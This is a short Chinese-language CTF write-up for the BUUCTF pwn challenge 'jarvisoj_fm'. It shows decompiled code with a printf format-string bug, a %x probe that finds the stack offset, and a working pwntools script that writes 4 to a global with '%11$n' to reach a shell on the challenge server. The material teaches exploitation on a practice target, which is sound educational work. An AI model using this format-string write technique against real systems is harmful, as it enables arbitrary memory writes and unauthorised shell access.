buuctf pwn jarvisoj_fm

IDA查看

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF
  unsigned int v5; // [esp+7Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  be_nice_to_people();
  memset(buf, 0, sizeof(buf));
  read(0, buf, 0x50u);
  printf(buf);
  printf("%d!\n", x);
  if ( x == 4 )
  {
    puts("running sh...");
    system("/bin/sh");
  }
  return 0;
}

x的地址 0804A02C

.data:0804A02C x dd 3 ; DATA XREF: main+65↑r
查看得知是格式化漏洞
第10行存在格式化字符串漏洞,我们可以利用它随意读写的特性让x=4
x_addr=0x804A02C

AAAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
那么可以看到输入点的参数在栈上存储的位置,手动输入计算得到偏移为11

利用x的地址配合上%11$n 将x修改为4

payload=p32(x_addr)+"%11$n"

稍微解释一下payload,首先传入x参数的地址,这个地址存放在栈上偏移为11的位置,利用%11$n,定位到了偏移为11的位置,往这个位置写入数据,写入的数据由%11$n前面的参数的长度决定,而我们的x参数的地址,正好是4位,不需要添a来补齐位数就可以直接利用,将x参数的地址的值改成了4,获取了shell

from pwn import *

r=remote('node4.buuoj.cn',25359)
x_addr=0x804A02C

payload=p32(x_addr).decode('unicode_escape')+"%11$n"

r.sendline(payload)

r.interactive()
原文地址:https://www.cnblogs.com/socialbiao/p/15699697.html